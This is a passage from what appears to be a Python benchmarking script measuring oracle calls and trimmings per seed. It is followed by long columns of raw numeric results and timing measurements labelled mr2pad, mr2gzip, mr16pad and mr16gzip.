        "{seed:04x} :: oracle: {oracle:8d}, trimmings: {trimmings: 3d}".format(
            seed=u, oracle=calls, trimmings=trimmings
        )
    )
    return calls, trimmings


def test(x, start=0, jobs=1):
    if jobs > 1:
        pool = Pool(jobs)
        r = list(pool.imap_unordered(_cost_kernel, range(x)))
    else:
        r = list(map(_cost_kernel, range(x)))

    calls, trimmings = [[r_[i] for r_ in r] for i in range(2)]

    print(
        "   calls :: mean: {mean:.2f}, median: {median:.2f}".format(
            mean=float(mean(calls)), median=float(median(calls))
        )
    )
    print(
        "trimming :: mean: {mean:.2f}, median: {median:.2f}".format(
            mean=float(mean(trimmings)), median=float(median(trimmings))
        )
    )
    return r
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151852
523488
45635
45213
100246
31363
58312
846528
25079
157667
55764
29656
40793
47262
305758
95234
32352
38601
358650
101948
47067
147164
31014
19772
37515
70461
115204
414420
321001
154614
21656
376947
340558
14076
252107
24872
58491
90762
178210
22025
169117
22962
167160
23084
30180
69033
32715
114282
206625
291589
89977
123017
68870
208268
46244
520265
53350
95492
33745
16847
28803
62818
53685
114217
16313
32173
22067
18610
239631
81843
418021
114575
47402
206829
43729
52158
37341
136697
200583
143945
47502
85685
20285
162084
219855
361865
17172
106875
44642
160560
63598
132340
184718
33994
20976
63558
14875
24089
48000
35889
242807
18992
34334
73479
21252
109250
16499
15536
116884
56441
82071
134041
115704
230818
135185
17290
335666
22871
202907
178405
58184
15237
352214
23396
330420
68085
154276
37235
14674
60384
19583
46194
84431
132971
370001
93849
223506
35593
47861
137196
60127
197570
136901
16337
65240
32963
168981
392437
105331
229498
20410
17004
63655
49346
166837
153198
44270
94176
113110
190036
18680
357058
56144
70031
77130
67932
96781
186483
40345
21997
48130
31073
266443
15787
50028
64582
101752
149410
95540
26467
389287
84149
55435
29520
25448
53901
51456
58642
120846
20624
33417
385016
302846
34291
112657
123625
29830
41028
68497
322606
239117
42371
42903
88176
40137
16280
130597
550520
88106
362420
42260
143956
39045
14981
67738
336899
106183
17600
21115
42649
341542
296925
295217
16556
15460
225807
15165
50733
442389
91115
215505
62877
38006
300058
45919
45238
135876
33535
320756
164733
41554
22432
568607
215425
1090775
51819
39568
264438
202996
18134
77611
158216
252973
35048
270713
152352
65639
220810
59694
317631
30487
31004
44844
224346
49283
32373
88282
20406
16132
29530
186188
48698
29414
15593
23561
21202
92100
33785
936496
648480
295596
129097
29895
214633
154710
339874
70735
15204
15617
114210
40276
93938
553659
45236
73603
15125
37677
30083
18912
347641
15243
69732
117720
43315
205918
67228
16872
17770
26676
19606
49339
46671
94889
317317
35485
289527
561813
352163
38080
78116
86468
15030
45528
121956
114787
17212
304786
20409
82890
359556
74799
88047
19224
67780
42012
76587
90137
21946
17594
43651
27608
117009
264087
171472
689218
369712
100391
282130
136400
17704
22056
46224
236413
223164
16951
100731
18526
31967
114443
16439
373647
146856
454700
17176
316228
46021
135693
109122
49660
144870
141778
21418
220393
46812
20629
30195
136313
22898
80756
126457
87246
72453
18948
973061
151945
34050
264282
26290
146479
130707
88926
122072
99712
132599
17216
30606
242688
32783
22370
250323
243976
547283
54672
115243
51164
28821
127275
225817
33258
223279
42371
126629
175857
14970
169180
65009
23063
193305
17071
22414
185012
14320
308450
54116
171781
24818
149002
72784
16038
23724
46542
217841
322661
49767
227616
434836
155694
17952
89705
110325
150093
64746
30229
153226
122664
318663
107318
23345
33868
18164
470623
38229
116227
42581
53788
64734
91266
99566
78298
17185
207220
15915
206392
60329
155994
150189
19625
17176
37908
119237
14853
183415
96801
37734
211761
169648
566477
49711
18511
16078
68769
187759
93130
21817
343076
411571
260029
63476
218591
117415
69413
68770
39828
33327
25657
30730
175132
64523
214352
237309
229495
29938
45008
138587
73648
310035
306789
116289
15698
163673
19811
727005
114006
82989
14453
20732
17295
234745
198263
16588
139181
259975
37428
21866
187045
238405
117311
189195
144514
300637
62978
56049
517659
302492
299912
30588
17826
203544
48457
90061
65073
16598
35559
93986
68061
33653
14942
183624
193349
742472
30258
35853
16475
162049
107069
72779
58322
140588
66560
312315
18048
104282
127632
231820
115501
88218
52566
367902
75298
98164
399761
271737
18732
124880
24940
31858
189328
178081
241445
356007
75336
86317
150607
19099
353710
22793
311286
229216
105145
74532
17225
132842
82611
22535
14318
346877
177670
14616
123192
167263
14613
264510
148431
21799
105907
39143
18637
212539
421744
272582
36376
1294707
46351
75150
201041
228551
110193
101640
238214
121401
108664
405073
189031
126121
269488
129187
483976
217254
141181
617952
243784
350243
358302
223090
1753349
197644
383002
749756
431584
359379
320361
289819
508124
714932
1524584
2580932
3565964
13199
13218
13379
13302
13678
14428
15128
16052
17587
17658
17679
20626
20970
23193
22925
25871
25631
30982
20003
12509
37122
40035
24840
26812
43202
25161
47750
50680
32526
51451
52557
12852
28451
61760
54835
66675
67851
26217
73577
75394
76321
81757
83132
84884
36071
73251
91621
102719
35625
20223
90090
92669
106897
107190
110957
111078
116296
77518
117204
118149
121342
121310
80928
124620
126397
67724
17794
130397
129330
132590
135183
36777
137440
73704
13025
145760
42405
24638
37066
157921
162303
158839
45894
168559
162092
134980
176834
178905
58612
100393
184940
170381
55993
17749
21376
189873
193912
194483
87999
13265
39898
196878
195332
195872
17808
84204
204571
154596
98276
16097
182711
138755
160415
190312
48860
218540
115932
12551
120536
171870
184212
139227
45585
239465
212479
65820
93924
79619
53017
28969
46139
18908
42079
28095
25382
68896
275436
222555
279367
209599
73925
161690
69674
182853
19140
171803
262651
119903
92823
117602
246431
110912
210773
99428
227499
21119
80979
12727
15829
326508
202819
199631
102748
137251
55442
138082
61490
13768
275957
108885
127738
345010
284278
226496
75276
368300
44591
174950
14822
260940
22534
12620
83952
48108
124019
13769
268882
20507
189734
75083
115732
255902
162464
206084
215912
77103
415456
13573
217264
180202
104108
99085
45429
30712
293642
15923
20606
68213
210491
405079
38754
32093
58896
61447
190915
70062
316635
86177
279466
106778
53358
133473
473057
350527
280574
219297
83343
95039
213021
14001
89135
331905
303036
12721
53654
40734
27331
167016
346239
36552
155929
64286
21709
40347
134200
12216
36431
202327
473215
12674
77915
17271
84585
210578
110063
242412
133785
175684
43682
223431
537496
246024
185880
35667
21627
16801
14743
130569
136889
211554
89243
12136
132634
85587
37813
73302
74186
38838
63408
115242
24107
160381
100339
307170
379147
350491
288347
280657
405655
145522
316458
66679
104041
24745
64076
42704
13861
13343
35162
32179
480521
41865
412124
220616
72642
149710
555265
29256
412733
35819
17272
85257
18703
185484
195954
483411
14648
59749
587933
191771
97013
90584
145646
153421
115347
16141
117030
485894
275078
15042
28688
607352
106291
33718
150943
13687
173054
221304
26046
46503
14254
14330
146296
17907
77453
457546
73944
50460
709701
93366
67293
32446
13127
36184
266040
327213
129720
12334
128968
392244
35009
132554
12574
67450
46508
111426
19758
619447
203749
292513
17964
359027
119362
118435
405633
74027
509915
89710
62954
13343
533201
424834
777118
108041
14781
14943
106829
373785
95281
237785
101116
41400
65901
12790
55541
146879
409940
53063
25836
856222
123598
182545
44592
147696
249100
18948
50841
211206
38803
263105
317523
158120
102465
188580
338787
228882
223636
14567
108803
162119
42380
68750
116228
228347
381187
272345
60779
204986
74550
490577
81663
39435
24305
107849
29620
104285
427050
180998
253131
234883
61756
14502
347717
179804
156395
17502
66898
159367
70005
406215
55758
69963
17850
260022
360135
303387
43680
830512
69380
199570
120602
110421
120176
388903
66175
215835
205107
769316
125191
110951
86661
1037608
561575
212969
315441
587895
203327
357481
74743
371693
19405
16434
97906
147243
41370
76121
72448
32937
12055
256563
32981
64334
411137
113420
224726
160629
631703
82473
132276
238002
47109
357342
451079
223425
14551
267569
56933
521631
145202
125790
139530
585948
75373
110143
1178646
492682
314415
413562
111301
585640
307583
72581
449605
14281
236914
101457
177081
58159
64239
25413
20332
375300
98542
150501
243267
16250
13093
555264
27970
27470
37605
343441
153110
906446
108993
67618
80524
379109
29963
475474
221252
258045
312433
69259
605943
57792
215986
64197
100342
57904
96928
28604
292137
14425
34703
309566
316514
21848
70283
191051
45255
36537
460402
16990
703605
317729
382273
608759
373072
391491
229758
71989
57808
55561
420841
76179
381157
424661
482596
263205
77707
810999
234845
173652
193896
131078
17156
315901
407997
224007
61620
30702
376718
666341
107109
20686
87913
37948
215272
60297
100039
260044
200055
210969
516651
90845
130158
479981
188580
159255
15690
124502
177962
31752
160082
1177962
218198
33809
964052
140524
15547
146985
224755
13898
49415
32470
113678
142059
195875
177970
142804
18385
149163
57926
330547
343528
939567
116422
453115
110922
743927
57340
15056
30821
326719
443017
164903
67218
19813
54274
256594
297429
22647
393093
78482
25717
67183
31285
28113
248867
280315
22628
75149
341929
230833
98331
370768
154846
136030
13648
76644
32294
68154
117318
199232
108525
18547
101538
489916
98270
221065
19243
92458
229273
82127
709033
165285
111706
587949
69606
34674
40193
49651
19293
107069
63053
19944
25532
239206
28662
28206
15641
21391
12696
148459
143243
92251
108948
86618
395573
34683
54196
512626
109885
139372
291512
492042
74252
227204
219678
30307
325029
298894
338637
39104
63631
70557
248529
239455
423342
173617
135881
46730
414808
195714
121483
47068
111795
61006
431188
94360
244035
30456
12799
157010
60380
110409
23005
65086
193489
170569
164373
330626
125586
95466
43847
13917
227881
127129
13764
14177
159885
69863
146201
18527
181916
16115
101631
133260
292387
30808
783398
198868
63632
12575
63275
198103
12886
241034
324590
15008
95135
134242
83484
115604
81495
23382
50884
320780
185662
368461
115170
25935
282152
15489
183876
42278
13636
13617
23411
168540
63987
60395
430230
28363
27020
276124
129887
178470
139214
165362
28244
312878
261179
122974
180049
319972
225994
50054
221530
440211
212362
51843
77754
115028
304013
82152
17348
969319
413988
134969
336026
39551
111428
199137
27246
387591
244218
17904
78397
235424
106194
121108
60748
99289
469028
55657
325333
395874
66762
123263
65669
257781
100921
14606
108680
110346
68799
160809
17573
367991
485064
46690
321976
163075
461722
140474
237603
227327
41678
127332
19687
66440
376679
168388
14885
362454
563048
555628
581181
54763
258145
44878
343132
97932
23206
33412
182616
24685
42340
52244
38162
167331
181891
108599
152172
276739
14432
208712
16689
15024
203604
101866
91370
370132
64557
129864
241269
24930
135934
30522
83595
41001
110934
85660
118778
322798
471356
208309
100222
21762
12194
69902
290255
91499
175538
37579
331627
32287
35374
13225
140666
92979
142187
83851
185375
215792
13615
42746
307354
378933
312039
95618
567378
241230
44116
81870
202877
172296
176548
25583
674699
18280
292000
95107
230592
311947
208427
159866
17257
423024
309363
1540997
38092
24256
88445
295227
573558
136982
45852
317360
18873
135233
205260
90245
151170
97401
28186
30061
935926
305264
164327
167750
73687
79400
12374
20194
67141
275588
458227
141069
979091
23885
79733
375229
30868
356247
30692
325679
293023
101014
34220
189277
19647
326230
294513
137394
219477
659162
63759
34152
341314
249431
327627
241396
49495
123924
102015
14553
1091668
449491
35769
87358
36960
164473
52943
352562
39163
72215
94974
147973
97172
151551
102467
99848
362309
71674
29567
19169
67327
85778
390341
13122
208891
23039
131107
322665
473445
56751
25604
50070
93010
44411
168949
59536
21657
42470
67374
18398
17298
258117
301043
166675
150694
254895
346947
25734
257122
154449
182298
170792
75552
81410
148779
167568
220706
21049
22149
266651
253469
382436
351770
175982
186106
181538
16103
109548
501725
46208
184925
261883
514290
287010
85348
143269
17150
114813
30536
107027
35369
15828
328006
48849
429616
42948
19458
130331
97545
53711
60250
392881
13190
143173
99365
11578
321894
31517
152842
100712
77764
36434
77919
24453
30564
115284
83170
362556
207062
76935
130851
328788
195319
28808
168972
170422
53074
23813
411729
111634
409537
28968
146613
352380
294835
15119
96091
376010
580219
56305
138824
25032
271813
211557
12260
13013
56911
16730
105985
512257
59371
432260
33723
850876
29049
63555
382958
302324
225115
369909
17571
151906
50182
246195
18816
111245
188455
13612
286042
30248
12815
18102
173322
283551
82359
20901
219047
919222
109015
1012339
91464
71132
155700
459707
694754
196319
248070
509057
173141
36357
387617
229896
228811
199307
172024
32564
32380
120138
145212
14798
36675
28934
14965
27655
237312
290683
203792
14037
47453
43257
306465
229168
157971
77661
561929
429978
321575
376617
298507
108987
95584
102057
44108
72106
684076
143252
286668
25803
13408
26268
29557
403571
89690
106395
112071
83577
118024
66399
328867
44946
463509
597533
37335
354814
959072
82134
21070
26725
266395
306070
88019
370911
137440
35091
290872
11990
23746
195539
75412
37253
54164
16842
305280
62163
223632
156919
54851
53094
70991
854614
120268
187432
103191
21406
355526
66302
78570
32684
34863
97914
40619
169728
57633
32244
82205
224839
518734
30962
294484
424929
92387
150397
390149
298693
366511
196636
53767
92244
381463
12811
63437
172424
499237
56447
258620
90275
18349
847240
28733
838372
456615
765658
345362
256211
225036
12763
16958
168547
18984
35075
62782
145179
68369
68117
254640
117814
35575
329982
59708
34736
229191
254170
92680
248130
17816
13102
114298
81986
376847
78165
209336
19551
78559
222772
162495
290569
99047
374677
497139
204088
340944
26024
463176
46977
37605
263251
380381
93924
143924
45542
89612
68437
256897
291688
191307
931143
41979
265161
13083
409927
133681
205531
314901
12714
16390
179313
58642
94722
75842
277138
171788
306466
233905
60511
348756
222163
873457
102336
25527
498072
352634
188081
19247
76901
210400
19857
541466
264064
175973
81367
65726
192145
252230
543087
96741
311609
17684
46299
542588
21570
15496
159903
79924
223544
564038
238161
666507
53248
106309
145232
27862
184109
201633
180942
39796
178362
40734
240237
267386
24651
36218
321674
247770
24298
18311
107692
231539
68818
48150
221438
148544
58520
108614
252066
35172
13695
20598
109184
118658
307523
463711
265580
187997
99647
247443
187389
32774
129082
429076
50253
23866
21827
53408
255018
541207
25541
171038
113010
41042
205751
17288
295481
87630
295331
369515
344504
354290
113384
926756
539716
156849
560745
35635
442680
195367
293800
124111
36831
82955
384927
14420
189558
200663
82054
14221
187632
197896
278426
14256
336867
54048
215729
342285
37468
167545
152172
117407
326039
159997
18638
255623
177885
154845
73775
298869
120870
81902
40901
37893
1751507
360724
439018
52601
85317
27282
15556
77038
99712
181300
515130
70522
688986
199778
97890
36715
244959
145506
125147
13110
381987
105702
648899
103308
19166
70349
180325
256674
282225
75850
12609
225060
13741
206247
26915
36366
201516
368517
833959
115820
713745
466600
229121
83480
17940
156665
15829
15730
391427
182949
221465
155561
31361
35955
670689
41402
95333
509091
204469
98603
78861
307028
92093
100841
30563
19298
19003
142476
269351
333521
23601
424334
31634
131852
99924
342437
26043
54601
108771
312752
326833
68764
259862
158437
32100
44990
134747
173265
201367
172614
125731
477113
251754
305402
23738
202571
146809
144988
396471
208008
19857
110420
14550
76873
254919
55835
323112
82564
141981
25271
200761
205787
86607
132945
130344
57753
422807
481231
19741
18440
33522
63133
12441
41878
242244
15923
25251
44809
29340
639910
587285
398306
324678
137649
35881
185808
25147
197112
601796
295066
25794
155596
49615
204278
300338
296765
95506
55084
43570
247605
152077
147827
1227774
15423
160982
189962
269559
200683
156419
81649
242178
17369
428032
457822
99132
334702
13813
165518
222584
193957
28815
167012
46048
70886
195405
57152
63467
116241
12484
444375
13351
119182
172673
16792
106725
143126
420761
208829
15191
610332
413716
427615
150261
18635
433959
53435
344122
317481
309052
393233
237056
15159
115684
76288
461351
234159
229132
22253
29225
51796
93294
711506
321918
34492
112893
26888
231235
29034
190838
188675
86842
47200
71036
262051
93137
409779
496070
194032
111774
106740
23069
107547
236833
28112
235608
470503
56601
22645
230982
348088
53841
298861
212192
316322
84535
35498
189247
101865
14568
19612
192156
227771
15697
274511
70428
241027
269029
177041
18451
13080
210118
55570
252140
227389
225987
69157
31940
189369
169204
405494
153650
54349
288293
377029
96666
109227
26440
46887
17880
134520
207571
13379
543563
118939
337742
18291
175195
31313
126232
485016
15909
364721
21582
13435
75736
13486
15605
16592
13004
20656
132345
35266
305731
141390
383278
127872
13143
215056
205457
143574
16593
334556
137019
160982
159947
47306
329612
43169
614046
88808
35932
224367
268822
83435
23754
304560
309173
13167
63382
57173
165979
124643
59305
361229
224351
544718
46706
22277
246865
47340
21071
43721
157715
58304
585941
244788
232432
85392
507951
16468
20986
223570
937177
215821
27869
13895
36545
78248
93535
43690
151199
42384
332131
17179
193430
66349
161279
510021
552968
132694
107532
122655
71312
570262
237561
228835
44838
78680
305967
259338
111797
498695
212003
105007
83553
227311
175088
54584
82086
19870
500764
658981
526611
41333
40709
131312
69315
21177
33492
23041
183839
403474
166288
115596
160205
890965
413641
197698
102783
32105
66261
430783
21694
119265
17756
565821
17242
775990
110012
134830
63918
56137
252685
14938
12541
13517
115517
158442
68741
43668
28787
40222
135393
239471
85928
959303
176460
103943
112875
105007
12598
381746
170962
100453
137526
205392
1269294
56332
24494
177083
115998
58768
457274
25612
38767
155255
280852
23487
43602
172036
35984
305880
123748
247752
484298
24181
136537
83898
75074
151325
258219
404208
389762
134392
182015
383470
117468
97511
492937
166113
50972
54516
130879
155346
198369
14875
121141
151715
103546
13639
140488
65158
12815
343059
1030120
33365
62531
61180
113477
14022
218139
151515
17730
166468
14694
131367
191991
57277
309879
216310
467387
344328
177444
359861
69437
30922
231628
133409
140564
239495
336695
133290
278584
34202
148618
243071
57821
14322
165855
14807
33204
15274
332974
143635
332687
440949
14068
101662
28368
242257
68078
165334
177892
69374
190712
104486
94451
16062
13421
58774
412419
220874
47162
132906
171506
103984
109882
42292
125932
184192
11915
82346
19285
14468
45076
37184
221455
17508
113085
333955
66349
320466
582099
55944
14950
188660
173763
213366
252114
672955
119811
88340
284994
195027
83809
559951
247439
149783
92400
710785
338437
58699
305485
198538
14335
58222
293489
504398
132938
283714
81118
342435
70604
76914
17041
135922
20020
253462
45841
143827
206768
366092
155105
439909
412413
198147
301064
100402
378020
195341
171207
54658
14299
31046
392952
25338
121876
40948
133297
25602
130394
132777
447191
23924
69014
26322
54636
19659
35433
83309
150391
121488
49417
17373
607894
26720
279740
89784
96663
351982
217687
74902
343041
85423
15803
30452
48320
107686
14209
231306
32113
315102
23364
36568
13158
69513
161295
167554
179973
14962
94134
159198
436691
90058
529229
318281
414482
199729
843390
231285
138169
62563
26456
133042
55802
28887
584344
23600
160192
369288
122459
68535
182363
17756
18385
18554
16152
30610
421273
43319
278358
14723
83027
53643
221822
588247
404698
186680
257714
101936
47717
75876
86453
70959
42233
22029
433329
489771
14388
21530
326771
52338
497209
307992
125740
191182
22312
211434
139594
115109
213918
13604
473466
496226
19691
173468
27443
99221
50392
43002
327015
21168
399822
48864
242155
72782
104063
21273
150251
49579
18574
266997
52298
272580
20740
205277
15523
14789
31261
23793
207227
125432
112054
228840
32961
160601
240473
48675
25305
121405
84744
93546
57138
126765
423285
79660
12574
12249
452525
103962
15226
221605
42873
42982
262422
60425
233078
279273
99002
263935
486891
16447
142535
49205
60186
164873
220612
89207
293387
196851
13356
208770
214159
150257
575157
189154
233280
29717
89939
21868
766048
142119
332763
31010
128290
326188
31538
18891
494335
22823
19941
127091
14372
33348
213343
315210
48626
90565
224353
167870
41919
16295
57242
1201965
40511
260071
65406
362102
11933
89677
182815
183927
101777
242335
29229
77194
128796
233379
481666
47758
184874
1464279
139110
42008
21013
121814
26268
250507
29227
383793
40668
18328
206943
188263
68788
515570
207638
61851
81608
218457
18306
88217
556353
41818
21698
20384
190287
186375
526207
283876
126873
112769
450868
14761
115917
299762
131229
102407
138322
33593
259931
398326
66187
547336
283417
335569
418181
274323
520467
59315
93145
345817
108439
138857
53139
183878
147444
14568
39127
18442
21975
13276
119080
104110
417255
22122
295837
368388
68290
12267
483606
453298
118355
295699
152036
28358
68776
35836
60177
160357
46806
156239
51861
85817
31035
33890
27580
168458
218385
80387
275140
132504
27941
54837
165877
120599
140949
188588
113258
21392
48079
16917
35450
244340
42865
299435
196137
576269
139901
14603
183867
106936
131021
23747
173973
149383
129715
257078
329574
107142
15469
181430
177265
132421
353805
25344
44692
42631
53109
245737
190344
776003
50493
48257
128961
184878
726084
189342
14225
22659
135106
358375
99121
682737
243427
556524
15208
37822
28370
440840
287008
267764
89549
419088
22464
125889
108962
330746
87531
172037
30163
172297
179912
212484
108150
319215
94144
113731
558799
144415
52179
73222
57666
14869
56841
143633
20244
142919
173570
18818
44777
125522
85937
32047
20324
54175
43743
239424
86281
156100
310485
82718
136132
25187
358794
25435
30070
16912
25176
13871
18412
68852
176680
238838
89851
163874
85785
76287
378422
214162
208380
120262
97176
85086
475035
213202
280723
85533
94860
301296
497972
14821
55656
299045
237422
15715
44312
154495
107587
20098
1063297
23332
145801
212171
24322
179129
83968
149021
13032
1178852
129413
75578
336610
290250
258642
421817
67145
173123
94222
17659
572029
47760
158694
46902
90551
904202
296011
472511
80739
13212
196693
577046
126571
169654
186727
38937
57108
349263
174331
43659
103649
214359
18388
362896
207181
174612
129835
46059
168368
20485
63186
33729
58905
19971
13377
31941
12749
37821
14292
34013
231992
145317
137035
155614
14682
164014
321546
26559
343654
46399
15244
206526
85825
62098
16023
110055
13303
160835
730742
266342
196982
162204
73026
206501
510517
37570
62125
144690
44950
79466
293975
518722
60645
198413
448506
209974
355684
32778
46666
32997
207311
68335
212339
75464
146939
306951
39721
18932
74143
148552
133891
143659
17318
258353
571851
76977
121810
188957
20013
119788
384855
168548
709842
26557
12518
441960
42728
19771
252693
23439
38734
149500
90844
150759
223915
48968
250736
429609
396568
74839
493323
313657
84714
414193
13860
147064
117271
23195
12803
31115
13162
378942
49392
101481
184203
30296
111171
211647
34355
116934
74914
627812
124247
93614
103288
22637
425262
165215
61490
306021
80961
36376
338126
103368
100955
20234
34830
241518
81576
650947
26245
168171
275856
267159
861131
62857
36653
129963
13693
322034
14466
236934
18829
121632
85733
125424
130889
15826
238240
53125
28278
45185
251057
112228
105990
12989
245398
515530
114016
308231
386505
80088
212876
125952
372993
201124
12298
17682
351660
51421
110773
21548
200754
13969
252646
389815
325412
120842
54676
39772
234215
130786
619321
85192
20232
314411
40454
505927
14964
400518
35953
341883
31520
12886
82652
83149
769054
28502
98447
46736
641846
13230
293552
359291
185838
52578
316308
109633
15139
14908
224855
112529
23218
113435
313135
103670
219844
47970
66951
317447
164495
249574
52073
305908
172338
148899
283714
483437
157560
78703
487906
67176
87538
14266
166814
176381
522160
349003
350341
42089
63907
48103
121890
203504
33561
261041
436617
76211
132013
216495
125439
162521
227325
19624
37232
84493
129570
28715
367726
25600
16842
352283
126416
243092
47318
267601
37850
19731
364973
12748
1322155
13244
281339
21706
172144
42608
49832
81141
37037
50583
467160
280629
22206
99940
14932
15943
980575
102585
132082
17785
12332
136634
177962
23197
365443
331521
124376
96472
123205
20860
96677
203252
15900
100174
364062
21795
14367
20801
190481
136989
16076
409650
322748
1082395
43163
52751
167724
132553
81760
119523
52026
12677
12564
17732
274637
107126
112673
87553
14922
307579
142708
131687
21021
85906
102779
174569
89064
147941
322796
51512
275704
66513
424744
752319
237152
521235
496128
129068
253681
147775
106565
110625
541013
268499
117331
205640
156845
325977
163651
209252
434053
121166
365412
219253
469274
440373
303197
154537
165106
446510
409322
165026
321547
437493
211687
351988
223752
434428
443972
572729
1079612
333458
290563
301295
415144
323626
358707
313505
421346
616535
470603
826109
680830
570782
503418
511536
790746
625598
820698
715406
1667734
841951
1343341
1407857



		mr2pad		mr2gzip		mr16pad		mr16gzip

		38.9972959980369		40.442607998848		28.589222073555		88.2353210449219

		34.2017219997942		44.2095359973609		32.4102120399475		90.5390191078186

		37.9664619974792		42.8690139986575		21.6180230379105		101.788969039917

		40.2112019993365		41.020732998848		29.0772939920425		96.3594889640808

		36.3301080018282		46.8043269999325		31.5478669404983		108.968917012215

		37.0005250014365		40.7212539985776		26.4991170167923		110.763031959534

		35.8318790011108		43.3691189996898		31.9420349597931		105.392822980881

		40.4668789990246		52.5007339976728		28.0889090299606		89.1746970415115

		36.7057849988341		43.5419309996068		33.2287529706955		101.144489049912

		33.9400030001998		41.5234410017729		34.8887540102005		98.6507389545441

		30.7726590000093		41.8667749986053		37.2306809425354		94.5751659870148

		35.0847959965467		42.5979730002582		32.5930759906769		91.8004779815674

		37.2818260006607		43.9521389976144		32.1464619636536		104.08027100563

		33.5990139991045		43.026670999825		32.3614100217819		104.223813056946

		35.9864099994302		51.6558900028467		33.3017219305038		105.497041940689

		35.9223470017314		39.3302119970322		30.9627629518509		110.26756298542

		31.8428160026669		46.5405769981444		33.7887009382248		83.9365190267563

		38.5430769994855		42.284171000123		30.8145339488983		101.622092962265

		36.5835970006883		41.7943270020187		32.5680760145187		123.416834950447

		34.1215139999986		37.6743790023029		24.9381799697876		100.082458019257

		34.5065129995346		40.2770350016654		22.0918250083923		101.51454102993

		40.4885450005531		43.8652640022337		22.423388004303		82.248862028122

		32.3462009988725		44.4162540026009		32.797868013382		114.981261014938

		33.4119299985468		41.5977640002966		33.1060969829559		99.5249049663544

		36.8339620009065		42.3026080019772		31.6680760383606		95.1515719890594

		35.5493259988725		42.6146400012076		33.4805240631103		113.53501200676

		35.5677639991045		42.3232339993119		29.1372430324554		108.556625008583

		32.3849509991705		34.9490660019219		18.6233350038528		92.0278220176697

		30.3263050019741		39.5492749996483		24.557137966156		79.5811530351639

		37.0246390029788		41.3889110013843		32.8698990345001		109.654125928879

		33.2776069976389		39.3701599985361		22.89677298069		98.3007910251618

		32.9817229993641		45.0761500000954		33.8457850217819		100.143135070801

		35.213597998023		44.8721400015056		32.188493013382		95.7425090074539

		37.149846997112		41.8579210005701		31.1041179895401		101.794646024704

		31.2751589976251		43.3778169974685		26.2488569021225		106.678760051727

		32.590055000037		39.444222997874		31.3165129423141		102.823708057404

		33.2424519993365		44.6239630021155		29.9185969829559		107.018551945686

		31.2853159978986		41.3815139979124		32.6380250453949		96.784698009491

		42.0332330018282		41.9152120016515		32.992868065834		105.378603935242

		33.153232999146		44.3286499977112		21.6908880472183		105.524073004723

		33.869169998914		44.5999520011246		32.0737540721893		113.902042031288

		35.8716709986329		42.6939109973609		29.2184929847717		103.526363968849

		36.1375040002167		42.1764100007713		38.0865659713745		86.32266497612

		41.4479210004211		42.1462020017207		23.4794290065765		114.25167798996

		33.1343780010939		49.0751609988511		24.198961019516		101.540894985199

		34.0395870022476		47.3298999965191		28.5515650510788		122.756522059441

		32.3027639985085		45.5378170013428		30.7207839488983		99.3565729856491

		33.2043780013919		43.1943270005286		33.9697949886322		100.558292031288

		38.8065659999847		38.0301079973578		32.3652629852295		100.522354006767

		38.2767220027745		47.1364630013704		30.5455240011215		95.6379780769348

		41.0797439999878		36.6109410002828		23.2554190158844		116.496104955673

		34.230680000037		49.9140149988234		33.4292750358582		103.160686969757

		39.8822950012982		38.2742740027606		39.1814620494843		97.7061560153961

		35.4223989993334		46.1362029984593		33.5398470163345		98.0715730190277

		34.4658889994025		43.0097439996898		32.249431014061		121.764491081238

		32.0966170020401		40.8254199996591		32.0487529039383		106.469228982925

		34.8698999993503		47.0539110004902		31.4681799411774		99.9827710390091

		35.5480240024626		41.8178690001369		25.1472939252853		96.8137600421906

		37.6254719980061		50.3883379995823		25.4967209100723		116.94037604332

		35.5790139995515		40.1987540014088		23.6331800222397		98.5345410108566

		34.3100030012429		42.3129209987819		26.0428150892258		81.1715190410614

		33.2037529982626		48.2220360003412		24.0034919977188		94.684749007225

		32.6150559969246		27.6267209984362		22.8488039970398		94.4246969223022

		36.0180770009756		45.4999529980123		32.5284929275513		106.226886034012

		35.5248989984393		42.9656809978187		23.0638560056686		104.309125065804

		36.191356997937		41.7612029984593		31.903440952301		85.0520919561386

		33.1959410011768		39.2390670031309		32.1467740535736		99.5258959531784

		35.8388580009341		48.902348998934		38.7212020158768		93.9056349992752

		35.4402639977634		44.8724009990692		32.8646910190582		98.204176902771

		34.2412020005286		41.4376600012183		22.9806789159775		91.7277170419693

		32.9160970002413		40.4003690034151		23.1403670310974		108.633291959763

		35.2169310003519		43.6508900001645		31.0998990535736		103.56125998497

		33.5383889973164		56.5959430001676		14.9823449850082		100.955790996552

		34.6145350001752		42.2633900009096		32.7727110385895		95.5545409917831

		32.2269299998879		28.7379189990461		31.1345859766006		106.407562017441

		33.0383369997144		42.8897439986467		31.357764005661		107.474489927292

		37.0443259999156		42.1038579978049		39.2368260622025		100.243813037872

		36.916044998914		41.5293790027499		27.3977110385895		103.384073019028

		35.6873469986022		45.9422440007329		28.2179720401764		99.8338119983673

		35.0573469996452		43.1318790018559		33.7002109289169		96.7599579095841

		33.3933889977634		42.6046399995685		31.1567739248276		100.111729025841

		35.7288569994271		41.3734939992428		26.4648989439011		95.8978739976883

		33.6307849995792		46.4789629988372		26.6697939634323		104.260218977928

		31.8513049967587		48.2447449974716		31.1906280517578		103.413499951363

		33.4273990020156		42.781045999378		21.325523018837		106.992094039917

		35.1158889979124		46.5767760016024		32.5137530565262		122.312772989273

		35.6980770006776		41.778806000948		23.5779709815979		95.0550100803375

		35.7404720000923		43.9266709983349		20.7780749797821		99.7495409250259

		33.45781500265		40.3319830000401		30.5958369970322		94.3331869840622

		37.8053679987788		44.2947439998388		30.1237009763718		99.0429779291153

		36.7982850000262		40.7278690002859		32.0663059949875		110.181156992912

		33.7258890010416		37.2893790006638		31.7251590490341		98.3433949947357

		30.8656800016761		40.7415670007467		29.8307839632034		112.482146978378

		33.0306289978325		42.4356810003519		33.4842220544815		95.1117279529572

		40.8007339984179		40.7527640014887		22.9739609956741		89.217197060585

		35.0143789984286		40.8926610015333		31.1216180324554		118.570532917976

		35.8679720014334		43.3007340021431		18.8559910058975		98.7076659202576

		32.1532840020955		40.6408369988203		28.2805759906769		97.2562600374222

		40.3148479983211		49.0608909986913		32.4138050079346		108.101624965668

		34.9983370006084		41.0964100025594		22.2865650653839		125.576574921608

		33.7723990008235		43.2656299993396		36.9273999929428		83.8925089836121

		41.0366190001369		40.332034997642		31.4615139961243		92.1740189790726

		31.4301070012152		50.0507859997451		32.6231800317764		98.759957909584

		33.104118000716		44.3340669982135		31.2347419261932		106.717458963394

		34.4649510011077		49.4749529995024		32.4573990106583		67.4667780399323

		36.4422949999571		45.0000559985638		26.3045860528946		98.7176139354706

		31.7846390008926		42.9521390013397		32.8468780517578		98.8871450424194

